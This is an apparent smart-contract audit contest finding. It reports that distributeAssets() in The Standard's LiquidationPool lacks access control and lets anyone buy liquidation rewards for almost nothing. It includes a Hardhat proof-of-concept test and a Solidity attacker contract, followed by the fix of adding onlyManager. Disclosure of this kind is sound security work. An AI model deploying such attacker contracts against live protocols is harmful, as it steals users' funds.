The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

LiquidationPool::distributeAssets() has no access modifier - attacker can call this function with high collateral rate and steel funds

Summary

The distributeAssets() function in the Liquidation Pool contract is external and does not have an access modifier. This allows an attacker to call the function with a very high collateral rate and with an Assets array that corresponds with the assets obtained from a previous Vault liquidation.

Vulnerability Details

Here is a potential attacker scenario:

1: The attacker monitors the Liquidity Pool Manager (LPM) for Vault liquidations

2: When a Vault has been liquidated and one or several tokens distributed to the LPM, the attacker calls the distributeAssets() function with a very high value for the _collateralRate and an Assets array that corresponds with the assets and asset balances that have been distributed to the LPM

3: This updates the rewards array for each staker (proportional to their current staking positions) and allows to purchase liquidated assets with almost 0 EUROs, because of the high collateral rate that was provided in the distributeAssets() function by the attacker

4: The attacker calls claimReawards to retrieve the purchased liquidation assets.

To demonstrate the above mentioned attack scenario, the following Test/POC is provided:

Add the following test to the liquidationPool.js file:

it('allows purchasing liquidated assets with almost 0 EUROs by calling distributeAssets with a very high collateral rate', async () => {
// user1 stakes 100 TST/EUROs
const balance = ethers.utils.parseEther('100')
await TST.mint(user1.address, balance)
await EUROs.mint(user1.address, balance)
await TST.connect(user1).approve(LiquidationPool.address, balance)
await EUROs.connect(user1).approve(LiquidationPool.address, balance)
await LiquidationPool.connect(user1).increasePosition(balance, balance)
await fastForward(DAY)
const user1ETHBalanceBefore = await ethers.provider.getBalance(user1.address) //9999.9
expect((await LiquidationPool.position(user1.address))._position.EUROs).to.equal(balance) //100
expect((await LiquidationPool.findRewards(user1.address))[0].amount).to.equal(0) //0 ETH rewards
//Setup: assume, a Vault has been liquidated and the liquidated asset (1000 ETH) has been transfered to the Liquidation Pool Manager (LPM)
await user2.sendTransaction({ to: LiquidationPoolManager.address, value: ethers.utils.parseEther('1000') })
//Those funds are then transferred to the Liquidation Pool by calling runLiquidation() in the LPM =>
//LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());
await LiquidationPool.connect(user2).distributeAssets([], DEFAULT_COLLATERAL_RATE, HUNDRED_PC, {
value: ethers.utils.parseEther('1000'),
})
expect(await ethers.provider.getBalance(LiquidationPool.address)).to.equal(ethers.utils.parseEther('1000'))
//Deploy the attacker contract
let liqPoolAttacker = await (
await ethers.getContractFactory('LiqPoolDistributeAssetsAttacker')
).deploy(LiquidationPool.address, TST.address, EUROs.address, VaultManager.address)
//The attacker monitors the distribution of liquidation assets on the LP
//the attacker calls the distributeAssets() function in the LP with a very high collateral rate
//and an Assets array that corresponds with the assets and asset balances that are currently available on the LPM
await liqPoolAttacker.attack()
//user1 still holds almost the same EUROs position => less than 1 EUROs were sold to acquire
//the 1000 ETH reward from the Vault liquidation
expect((await LiquidationPool.position(user1.address))._position.EUROs).to.be.within(
ethers.utils.parseEther('99'),
ethers.utils.parseEther('100')
)
//although user1 only stakes 100 EUROs, he was able to purchase the entire reward from the Vault liquidation: 1000 ETH
//in our example, we only have 1 staker, if there would be other stakers, each one of them would receive
//a portion of the rewards distribution that is proportional to his/her staking position
expect((await LiquidationPool.findRewards(user1.address))[0].amount).to.equal(ethers.utils.parseEther('1000')) //1000 ETH rewards
//user1 calls claim rewards and should receive the entire balance from the Vault liquidation: 1000 ETH
//while having paid less than 1 EUROs for it
await LiquidationPool.connect(user1).claimRewards()
const user1ETHBalanceAfter = await ethers.provider.getBalance(user1.address)
//user1 ETH balance has increased by ~1000 ETH
expect(user1ETHBalanceAfter.sub(user1ETHBalanceBefore)).to.be.within(ethers.utils.parseEther('999'), ethers.utils.parseEther('1000'))
})

Add the following attacker contract to the utils directory:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "contracts/interfaces/ITokenManager.sol";
import "contracts/interfaces/ILiquidationPoolManager.sol";
import "contracts/interfaces/ISmartVaultManager.sol";
import "hardhat/console.sol";
interface ILiquidationPool {
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external;
}
contract LiqPoolDistributeAssetsAttacker {
ILiquidationPool private liquidationPool;
ISmartVaultManager private SVManager;
constructor(address _liquidationPool, address _TST, address _EUROs, address _SVManager) {
liquidationPool = ILiquidationPool(_liquidationPool);
SVManager = ISmartVaultManager(_SVManager);
}
//the attacker calls the distributeAssets() function in the LP with a very high collateral rate
//and an Assets array that corresponds with the assets and asset balances that are currently available on the LPM
//in our case, we assume there was a Vault liquidation that only contained native ETH
function attack() public {
ITokenManager.Token[] memory tokens = ITokenManager(SVManager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
assets[0] = ILiquidationPoolManager.Asset(token, 1000 ether);
break;
}
}
liquidationPool.distributeAssets(assets, 999999999999, 1);
}
receive() external payable {
console.log("Val: ", msg.value);
}
}

Impact

Anyone can call this function and provide a very high value for the collateral rate in order purchase assets from a liquidated vault (liquidation rewards proportional to users staking position) for almost 0 EUROs.

Tools Used

Manual Review

Recommendations

Add the onlyManager modifier to the function

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.